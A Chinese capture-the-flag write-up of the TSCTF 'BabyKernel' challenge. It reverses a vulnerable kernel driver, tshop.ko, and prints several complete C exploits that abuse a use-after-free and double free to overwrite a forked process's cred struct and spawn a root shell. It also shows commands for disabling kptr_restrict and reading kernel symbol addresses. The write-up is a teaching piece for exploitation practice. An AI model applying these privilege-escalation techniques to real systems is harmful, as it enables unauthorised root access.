热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

LinuxKernel初探(一)BabyKernel

这篇博客是记录入门Linuxkernel的心得和体会,一直以来对内核知识都较为感兴趣,下面就开始第一个kernelpwn的旅程(题目来自于TSCTF天枢-17)【+】题目:

Linux Kernel 初探(一)BabyKernel

写在前面

这篇博客是记录入门 Linux kernel 的心得和体会,一直以来对内核知识都较为感兴趣,下面就开始第一个 kernel pwn 的旅程(题目来自于 TSCTF 天枢-17)

相关链接

【+】题目: https://drive.google.com/open?id=1B5EKTB3c2sYHg26f_tvxejrP0HFzj1Qi

【+】 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/basic_knowledge/

【+】 http://p4nda.top

【+】 https://sunichi.github.io

题目描述

解压 题目 我们可以拿到以下文件:

p1umer@ubuntu:~/kernel/give_to_player$ ls -l
total 5516
-rwxr-xr-x 1 p1umer p1umer     202 May  9 00:09 boot.sh
-rw-r--r-- 1 p1umer p1umer 4127776 May  9 00:09 bzImage
-rw-r--r-- 1 p1umer p1umer 1514482 May  9 04:35 initramfs.img

将initramfs.img后缀改为.cpio后用ubuntu再次解压可以得到如下文件:

Linux Kernel 初探(一)BabyKernel

在poc文件夹内找到tshop.ko文件,使用IDA分析:

Linux Kernel 初探(一)BabyKernel

其中可以观察到,主要函数有三个:

  • tshop-ioctl
  • tshop-init
  • tshop-exit

其中核心函数是 tshop-ioctl 需要重点分析,我们后面会具体分析这个函数

调试以及数据交互

程序启动以及调试

题目包含了一个 qemu 的启动脚本如下:

#!/bin/sh
qemu-system-x86_64 
    -kernel bzImage 
    -nographic 
    -append "rdinit=/linuxrc cOnsole=ttyS0 oops=panic panic=1" 
    -m 128M 
    -cpu qemu64,smap,smep -initrd initramfs.img 
    -smp cores=1,threads=1 2>/dev/null

可以看到其中如果选择开启kaslr则需要在 -append 选项后面加上kaslr即可

如果选择gdb调试,则需要加上: -gdb tcp::4869 -S (其中-S为挂起等待),对应的gdb脚本:

gdb 
    -ex "add-auto-load-safe-path $(pwd)" 
    -ex "file vmlinux" 
    -ex 'set arch i386:x86-64:intel' 
    -ex 'target remote localhost:4869' 
    -ex 'continue' 
    -ex 'disconnect' 
    -ex 'set arch i386:x86-64' 
    -ex 'target remote localhost:4869'

EXP编写以及数据交互

Kernel Pwn 如何和驱动模块进行交互呢?

驱动处理预期流程是:

  • 用户态调用驱动触发状态切换
  • 进入内核态内核态响应用户请求
  • 处理数据返回结果
  • 切换回用户态

那么如何在用户态调用驱动呢?

首先,对一个字符设备而言有如下结构体:

struct file_operations d_fops = {
    .owner = THIS_MODULE,
    .open = d_open,
    .read = d_read,
    .write = d_write,
    .ioctl = d_ioctl,
    .release = d_release,
    };

该结构体展示了部分文件操作对应的函数指针。如读该设备时会调用d_open函数。从该结构体我们可以看出其实现了用户与内核驱动交互的接口,同时也就自然成为了内核攻击面之一。具体的调用方法为:

int main(int argc, char *argv[]){
    int fd = open("/dev/tshop",0);
    //debug();
    ioctl(fd,MALLOC,0);
    }
  • fd打开设备
  • 通过ioctl进行具体的交互(或者该驱动注册的其他处理函数)

好了,可以实现和驱动模块的交互后,我们就可以用 c语言 来编写相应的exploit了。但是在这之前,我们先了解一下内核的一些保护模式

缓释机制

mmap_min_addr

指定用户进程通过mmap可使用的最小虚拟内存地址,以避免其在低地址空间产生映射导致安全问题。

kptr_restrict / dmesg_restrict

在 linux 内核漏洞利用中常常使用commit_creds和prepare_kernel_cred来完成提权,它们的地址可以从/proc/kallsyms中读取。/proc/sys/kernel/kptr_restrict被默认设置为1以阻止通过这种方式泄露内核地址。dmesg_restrict限制非特权读dmesg(Restrict unprivileged access to kernel syslog)

SMEP/SMAP

SMEP(Supervisor Mode Execution Prevention,管理模式执行保护)和SMAP(Supervisor Mode Access Prevention,管理模式访问保护),其作用分别是禁止内核执行用户空间的代码和禁止内核访问用户空间的数据。

程序分析

前面提到,ida打开.ko文件得到如下内容:

Linux Kernel 初探(一)BabyKernel

可以得到如下信息:

  • 程序实现了kmalloc;kfree;edit1;edit2
  • 程序维护了一个BUY_LIST用来存放kmen_cache_alloc分配的堆块
  • malloc的时候会把堆块写成特定值
  • 两个edit函数改指针为固定值
  • 有一个看起来没有参数的 kfree

等等,kfree没有参数?让我们仔细分析它:

Linux Kernel 初探(一)BabyKernel

嗯,参数还是有的。但是这里面在释放完毕BUY_LIST里的堆块之后并没有清空,也就是说我们得到了一个UAF!

调试判断 Cred 结构体大小

若要达到提权权限,则需要修改权限信息。kernel记录了线程的权限,更具体的,是用 cred 结构体记录的,每个线程中都有一个cred结构,这个结构保存了该进程的权限等信息(uid,gid等),如果能修改某个进程的cred,那么也就修改了这个进程的权限。所以我们需要得到Cred结构体大小,以便为后面的 exploit 拓展思路。

首先打开源码查看cred结构体定义

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    uid_t        uid;        /* real UID of the task */
    gid_t        gid;        /* real GID of the task */
    uid_t        suid;        /* saved UID of the task */
    gid_t        sgid;        /* saved GID of the task */
    uid_t        euid;        /* effective UID of the task */
    gid_t        egid;        /* effective GID of the task */
    uid_t        fsuid;        /* UID for VFS ops */
    gid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
    struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* cached user->user_ns */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};

emmm,直接判断大小貌似有点困难,调试一下好了。

注意,由于系统开启了kptr_restrict,我们无法看到一些地址信息,所以我们需要关闭。

【关闭 kptr_restrict】:修改解压后的 /etc/.init/rcS 文件中的

echo 1 > /proc/sys/kernel/kptr_restrictecho 0 > /proc/sys/kernel/kptr_restrict

这时候就可以得到一些我们感兴趣的地址:

【kmem_cache_alloc】: cat /proc/kallsyms |grep kmem_cache_alloc

【kfree】: cat /proc/kallsyms |grep kfree

【prepare_cred】: cat /proc/kallsyms | grep prepare_cred

【tshop的bss地址】: cat /sys/module/tshop/sections/.bss

另外,我们在用户态执行fork函数的时候,可以调用内核prepare_cred来创建cred结构体提供给新进程的新线程。

所以我们编写一个简单的demo.c:

/*
 * main.c
 * Copyright (C) 2019 P1umer 
 *
 */
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#define MALLOC 0x271A
#define FREE   0x2766
#define EDIT1  0x1A0A
#define EDIT2  0x22B8 
pid_t pid;


void debug(){
    getchar();
}

int main(int argc, char *argv[]){
    int fd = open("/dev/tshop",0);
    debug();
    ioctl(fd,MALLOC,0);
    fork();
}

【编译】: gcc exp.c -o exp --static -lpthread

【打包】:打包命令为: find . | cpio -o --format=newc > ../initramfs.img

值得注意的是,我们因为调试的是内核,在内核中有很多的kmem_cache_alloc && prepare_cred && kfree 调用,因此我们只希望在 poc 调用内核这些函数的时候进行下断调试,因此getchar()是必要的。

启动 gdb+qemu 调试,断在 prepare_cred:

Linux Kernel 初探(一)BabyKernel

调用了 0xffffffff810d3251 ,查看函数名:

$ cat /proc/kallsyms | grep "ffffffff810d3251" 
ffffffff810d3251 T kmem_cache_alloc

可以看到 prepare_cred 函数实际调用了 kmem_cache_alloc 来申请cred的空间,大小通过 $rsi 传参,为 0xd0。惊奇的发现,居然和我们ioctl操作中kmem_cache_alloc申请的大小一致

Exploit

上面提到有了一个UAF并且cred结构体大小和驱动malloc操作申请的堆块大小一致,那么接下来的事情就好办多了,在这之前先了解一下kernel里面的memory_management:

【+】 http://www.wowotech.net/memory_management/247.html

slab分配器的管理手段类似于 Glibc 中的 FastbinY。如果free链表内的chunk大小和该内核版本的 cred 结构体大小相同,那么会把free链表中的chunk解链返回给 cred。

于是我们就可以通过doublefree来进行提权:

  • doublefree
  • 得到cred结构体后通过两次malloc修改cred结构体中的值为特定的值(上面的ida分析有提到),恰好可以达到 root 要求

这个地方遇到了一点困难:由于驱动的堆内存和内核的内存是共享的,在得到 cred 的同时会把cred的信息写入该内存,也就是说

  • 在我们准备doublefree之前:
    Linux Kernel 初探(一)BabyKernel
  • 把cred写入最末尾的chunk
    Linux Kernel 初探(一)BabyKernel

内核下一次申请的时候就会申请到非法地址,PANIC!

但是如果我们在系统申请非法地址之前讲free链表扩充到足够大是不是就可以让系统迟一点申请到非法地址呢? 我们来试一试:

编写exp.c(ugly code):

/*
 * main.c
 * Copyright (C) 2019 P1umer 
 *
 */
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#define MALLOC 0x271A
#define FREE   0x2766
#define EDIT1  0x1A0A
#define EDIT2  0x22B8 
pid_t pid;


void debug(){
    getchar();
}

int main(int argc, char *argv[]){
    int fd = open("/dev/tshop",0);
    debug();

    ioctl(fd,MALLOC,0);
    ioctl(fd,MALLOC,1);
    ioctl(fd,MALLOC,2);
    ioctl(fd,MALLOC,3);
    ioctl(fd,MALLOC,4);
    ioctl(fd,MALLOC,5);
    ioctl(fd,MALLOC,6);
    ioctl(fd,MALLOC,7);
    ioctl(fd,MALLOC,8);
    ioctl(fd,MALLOC,9);
    ioctl(fd,MALLOC,10);
    ioctl(fd,MALLOC,11);
    ioctl(fd,MALLOC,12);
    ioctl(fd,MALLOC,13);
    ioctl(fd,MALLOC,14);
    ioctl(fd,MALLOC,15);
    ioctl(fd,MALLOC,16);
    ioctl(fd,MALLOC,17);

    ioctl(fd,FREE,17);
    ioctl(fd,FREE,16);
    ioctl(fd,FREE,17);

    pid=fork();
    if(pid==0){
        printf("[+] root?");
        system("whoami");
    }else{
            ioctl(fd,MALLOC,16);
            ioctl(fd,MALLOC,17);//cred==0 

            ioctl(fd,FREE,0);
            ioctl(fd,FREE,1);
            ioctl(fd,FREE,2);
            ioctl(fd,FREE,3);
            ioctl(fd,FREE,4);
            ioctl(fd,FREE,5);
            ioctl(fd,FREE,6);
            ioctl(fd,FREE,7);
            ioctl(fd,FREE,8);
            ioctl(fd,FREE,9);
            ioctl(fd,FREE,10);
            ioctl(fd,FREE,11);
            ioctl(fd,FREE,12);
            ioctl(fd,FREE,13);
            ioctl(fd,FREE,14);
            ioctl(fd,FREE,15);
    }
}

输出结果:

Linux Kernel 初探(一)BabyKernel

貌似已经提权成功了。这种方法确实奏效,但是当我多执行一些指令的时候内核又会panic

怎么办呢?

Exploit 加固

由于panic的核心原因在于把 cred info 当作地址来申请堆块,那么在这个方向思考的话,其实可以通过一个free的写指针操作把 cred info 覆盖为一个有效的 chunk 地址,也就是free链表的尾 chunk 地址。

/*
 * main.c
 * Copyright (C) 2019 P1umer 
 */
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#define MALLOC 0x271A
#define FREE   0x2766
#define EDIT1  0x1A0A
#define EDIT2  0x22B8 
pid_t pid;

void debug(){
    getchar();
}

int main(int argc, char *argv[]){
    int fd = open("/dev/tshop",0);
    debug();
    ioctl(fd,MALLOC,0);
    ioctl(fd,MALLOC,1);
    ioctl(fd,MALLOC,2);
    ioctl(fd,MALLOC,3);
    ioctl(fd,MALLOC,4);
    ioctl(fd,MALLOC,5);
    ioctl(fd,MALLOC,6);
    ioctl(fd,MALLOC,7);
    ioctl(fd,MALLOC,8);
    ioctl(fd,MALLOC,9);
    ioctl(fd,MALLOC,10);
    ioctl(fd,MALLOC,11);
    ioctl(fd,MALLOC,12);
    ioctl(fd,MALLOC,13);
    ioctl(fd,MALLOC,14);
    ioctl(fd,MALLOC,15);
    ioctl(fd,MALLOC,16);
    ioctl(fd,MALLOC,17);

    ioctl(fd,FREE,17);
    ioctl(fd,FREE,16);
    ioctl(fd,FREE,17);

    pid=fork();

    if(pid==0){
        sleep(1);
        printf("[+] root");
        system("whoami");
        system("/bin/sh");
    }else{

        printf("[+] shell close");
        ioctl(fd,FREE,17);
        ioctl(fd,MALLOC,17);

        ioctl(fd,MALLOC,16);
        ioctl(fd,MALLOC,17);//cred==0 

        ioctl(fd,FREE,0);
        ioctl(fd,FREE,1);
        ioctl(fd,FREE,2);
        ioctl(fd,FREE,3);
        ioctl(fd,FREE,4);
        ioctl(fd,FREE,5);
        ioctl(fd,FREE,6);
        ioctl(fd,FREE,7);
        ioctl(fd,FREE,8);
        ioctl(fd,FREE,9);
        ioctl(fd,FREE,10);
        ioctl(fd,FREE,11);
        ioctl(fd,FREE,12);
        ioctl(fd,FREE,13);
        ioctl(fd,FREE,14);
        ioctl(fd,FREE,15);
        sleep(100);

    }
}

主进程通过 UAF 再次把 chunk17 free 了一次,复写里面的Cred info 为 chunk16 的地址,然后再次申请堆块把链表恢复为原状态。同时在父进程中加了sleep函数提高稳定性。

这时候已经得到了稳定的 root shell

Linux Kernel 初探(一)BabyKernel

更多的思考

还有一种更为精简的解法, 从一开始没有考虑 doublefree :

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DEL         0x2766
#define SET_ZEGE     0x22B8  // 0x123456789ABCDEF0LL
#define ALLOC         0x271A
#define SET_JIGE     0x1A0A  // 0xFEDCBA987654321LL


int main() {
    int fd = open("/dev/tshop", 0);
    size_t heap_addr , kernel_addr,mod_addr;
    if (fd <0) {
        printf("[-] bad open /dev/tshopn");
        exit(-1);
    }

    ioctl(fd, ALLOC, 0);
    ioctl(fd, ALLOC, 1);
    ioctl(fd, DEL, 0);
    ioctl(fd, DEL, 1);
    int pid=fork();
    ioctl(fd, DEL, 1);
    ioctl(fd, ALLOC, 3);
    //getchar();
    //getchar();
    if (pid <0) {
        puts("[-] fork error!");
        exit(0);
    } else if (pid == 0) {
        if (getuid() == 0) {
            puts("[+] root");
            system("cat /home/sunichi/flag");
            system("id");
            system("/bin/sh")
            exit(0);
        }
    } else {
        sleep(30);
        puts("[+] parent exit");
    }
}

具体思路:

  • alloc并free掉两块内存,使他们接入slab cache链表的尾部,这里暂且给它编号为chunk0和chunk1
  • 由于采用FIFO算法,此时slab缓存的单向链表最尾端的chunk为chunk1,而且第一个8字节存储的是指向chunk0的指针,当ALLOC新cache时,将优先取出chunk1分配给进程。
  • fork一个子进程,这个子进程的cred结构体会复用此前我们free掉的内存块(chunk1)
    此时,堆块中的cred如下:
    Linux Kernel 初探(一)BabyKernel
  • 我们的目标是将cred的id位置零,首先就需要再次拿到cred所在堆块(chunk1)
  • free并立即进行alloc操作,chunk1就会挂到cache链上后再次被申请回来。
  • 由于ALLOC操作伴随着所在堆块数据的初始化,于是我们不用再有多余的操作便能将cred结构体uid及gid位置零。此时子进程就已成功提权(root)
    Linux Kernel 初探(一)BabyKernel

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 我们


推荐阅读
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 本文详细介绍了Linux中进程控制块PCBtask_struct结构体的结构和作用,包括进程状态、进程号、待处理信号、进程地址空间、调度标志、锁深度、基本时间片、调度策略以及内存管理信息等方面的内容。阅读本文可以更加深入地了解Linux进程管理的原理和机制。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 本文介绍了使用kotlin实现动画效果的方法,包括上下移动、放大缩小、旋转等功能。通过代码示例演示了如何使用ObjectAnimator和AnimatorSet来实现动画效果,并提供了实现抖动效果的代码。同时还介绍了如何使用translationY和translationX来实现上下和左右移动的效果。最后还提供了一个anim_small.xml文件的代码示例,可以用来实现放大缩小的效果。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • 本文介绍了C++中省略号类型和参数个数不确定函数参数的使用方法,并提供了一个范例。通过宏定义的方式,可以方便地处理不定参数的情况。文章中给出了具体的代码实现,并对代码进行了解释和说明。这对于需要处理不定参数的情况的程序员来说,是一个很有用的参考资料。 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • 本文讨论了使用差分约束系统求解House Man跳跃问题的思路与方法。给定一组不同高度,要求从最低点跳跃到最高点,每次跳跃的距离不超过D,并且不能改变给定的顺序。通过建立差分约束系统,将问题转化为图的建立和查询距离的问题。文章详细介绍了建立约束条件的方法,并使用SPFA算法判环并输出结果。同时还讨论了建边方向和跳跃顺序的关系。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • Linux磁盘的分区、格式化的观察和操作步骤
    本文介绍了如何观察Linux磁盘的分区状态,使用lsblk命令列出系统上的所有磁盘列表,并解释了列表中各个字段的含义。同时,还介绍了使用parted命令列出磁盘的分区表类型和分区信息的方法。在进行磁盘分区操作时,根据分区表类型选择使用fdisk或gdisk命令,并提供了具体的分区步骤。通过本文,读者可以了解到Linux磁盘分区和格式化的基本知识和操作步骤。 ... [详细]
  • 本文介绍了Java高并发程序设计中线程安全的概念与synchronized关键字的使用。通过一个计数器的例子,演示了多线程同时对变量进行累加操作时可能出现的问题。最终值会小于预期的原因是因为两个线程同时对变量进行写入时,其中一个线程的结果会覆盖另一个线程的结果。为了解决这个问题,可以使用synchronized关键字来保证线程安全。 ... [详细]
author-avatar
郭昊天886688
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有